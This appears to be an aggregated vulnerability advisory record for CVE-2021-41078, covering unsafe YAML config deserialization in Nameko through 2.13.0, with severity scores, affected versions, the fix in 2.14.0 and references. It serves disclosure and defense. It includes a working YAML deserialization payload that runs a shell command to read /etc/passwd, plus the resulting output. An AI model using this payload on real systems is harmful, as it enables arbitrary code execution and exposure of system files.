{"id":"CVE-2021-41078","aliases":["CVE-2021-41078","GHSA-6p52-jr3q-c94g","PYSEC-2021-383"],"related":[],"kind":"vulnerability","state":"published","title":"Nameko Arbitrary code execution due to YAML deserialization","summary":"Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.","source":"cvelist"},{"lang":"en","text":"### Impact\n\nNameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:\n\n``` yaml\n# malicious.yaml\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n```\n\n``` shell\n$ nameko run --config malicious.yaml test\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n... \n```\n\n### Patches\n\nThe problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.\n\nVersions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.\n\n### Workarounds\n\nThe vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Nameko versiones hasta 2.13.0, puede ser engañado para llevar a cabo una ejecución de código arbitrario cuando es deserializado el archivo de configuración","source":"nvd"}],"published":"2021-10-19T15:28:57.000Z","modified":"2026-07-08T06:28:18.118Z","severity":{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.6,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:M/Au:N/C:P/I:P/A:P","score":6.8,"rating":"MEDIUM"}],"cwes":["CWE-502"],"affected":[{"ranges":[{"version":"n/a","status":"affected"}],"source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.14.0"}],"ecosystem":"PyPI","package":"nameko","purl":"pkg:pypi/nameko","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"3.0.0rc0","status":"affected","fixed":"3.0.0rc10"}],"ecosystem":"PyPI","package":"nameko","purl":"pkg:pypi/nameko","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"2.13.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"}],"vendor":"nameko","product":"nameko","cpe":"cpe:2.3:a:nameko:nameko:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.14.0"}],"ecosystem":"PyPI","package":"nameko","purl":"pkg:pypi/nameko","source":"pysec"}],"references":[{"url":"https://github.com/nameko/nameko","tags":["package","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g","tags":["advisory","exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-41078","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nameko/nameko/releases/tag/v2.14.0","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"mitre","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2021-41078","url":"https://www.cve.org/CVERecord?id=CVE-2021-41078","licence":"CVE Terms of Use","modified":"2024-08-04T02:59:31.054Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6p52-jr3q-c94g","url":"https://github.com/advisories/GHSA-6p52-jr3q-c94g","licence":"CC-BY-4.0","modified":"2026-07-08T06:28:18.118Z"},{"source":"nvd","name":"NVD","id":"CVE-2021-41078","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-41078","licence":"Public domain","modified":"2026-06-17T04:07:49.867Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2021-383","url":"https://osv.dev/vulnerability/PYSEC-2021-383","licence":"CC-BY-4.0","modified":"2023-11-08T04:06:50.421Z"}],"updatedAt":"2026-11-25T22:58:05.202Z","epss":{"score":0.01537,"percentile":0.75607,"date":"2026-12-01T12:00:22.000Z"}}